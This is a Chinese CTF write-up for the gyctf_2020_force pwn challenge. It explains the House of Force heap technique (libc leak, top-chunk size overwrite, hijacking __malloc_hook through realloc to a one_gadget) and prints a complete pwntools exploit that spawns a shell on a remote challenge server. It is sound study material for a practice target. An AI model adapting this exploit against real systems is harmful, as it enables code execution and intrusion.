zoukankan      html  css  js  c++  java
  • gyctf_2020_force | House of force

    House of force 算是比较容易理解的堆利用手法,本题主要是一个裸的 HOF,但是因为各种各样的错误调了整整两个晚上才在打通,身心俱疲,有点丧失继续学 pwn 的信心了,还是记录一下

    静态分析

    checksec 查壳,保护全开

    由于开了 FULL RELRO ,不能劫持 GOT 表,考虑用 one_gadget getshell

    程序的功能比较简单,一个 add,一个 put,add 的 size 可以自定义,内容长度也没什么限制

    思路

    • 先分配一个大小超过 mmap 分配阈值的堆块,经 mmap 分配后地址与 libc 有固定偏移,由此泄露 libc 地址

    • 通过推溢出覆写 top chunk's size 为 0xffffffffffffffff,再次分配大 size 的堆的时候,会把 top chunk 指针抬高

    • 计算偏移使得 top chunk 正好落在 __malloc_hook 方,再一次分配区块就可以覆写 __realloc_hook 和 __malloc_hook

    • realloc 来构造栈环境,malloc -> malloc -> __malloc_hook -> realloc + 0x10 -> __realloc_hook -> one_gadget

    详见:https://wiki.x10sec.org/pwn/linux/glibc-heap/house_of_force-zh/

    EXP

    libc 是我本地带符号表的,偏移也是动态调出来的

    from pwn import *
    libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so'
    ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
    elf_path = './gyctf_2020_force'
    #r = process([ld_path, elf_path], env={"LD_PRELOAD":libc_path})
    r = remote('node3.buuoj.cn', '29681')
    context.log_level = 'debug'
    elf = ELF(elf_path)
    libc = ELF(libc_path)
    gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    
    def add(size, content):
        r.sendlineafter('2:puts', '1')
        r.sendlineafter('size', str(size))
        r.recvuntil('bin addr ')
        addr = int(r.recvuntil('
    ')[:-1], 16)
        r.sendlineafter('content', content)
        return addr
    
    def show(idx):
        r.sendlineafter('2:puts', '2')
    
    def debug():
        gdb.attach(r)
        pause()
    
    addr = add(1000000, 'aaaa')
    success('malloc addr -> ' + hex(addr))
    pay = 'a'*0x10 + p64(0) + p64(999999999999)
    libc_base = addr - 0x6fa010
    realloc = libc_base + libc.symbols['__libc_realloc']
    success('addr - >' + hex(realloc))
    success('libc_base ->' + hex(libc_base))
    pay = 'a'*0x10 + p64(0) + p64(0xffffffffffffffff)
    top_chunk = add(0x18, pay) + 0x10
    success('top chunk -> ' + hex(top_chunk))
    target = libc_base + libc.symbols['__malloc_hook'] - top_chunk - 0x33
    pay = p64(0) + p64(libc_base + gadget[1]) + p64(realloc+0x10)
    add(target, 'a'*0x8)
    add(0x10, pay)
    r.sendlineafter('2:puts
    ', '1')
    r.sendlineafter('size
    ', str(0x40))
    r.interactive()
    
  • 相关阅读:
    “TensorFlow 开发者出道计划”全攻略,玩转社区看这里!
    适合 C++ 新手学习的开源项目——在 GitHub 学编程
    【9303】平面分割
    【u114】旅行计划(12月你好)
    【u236】火炬
    【u233】单词化简
    Java Web整合开发(41) -- Forum
    1、服务器(软件)种类
    jquery trigger
    jQuery实现当按下回车键时绑定点击事件
  • 原文地址:https://www.cnblogs.com/zhwer/p/14135734.html
Copyright © 2011-2022 走看看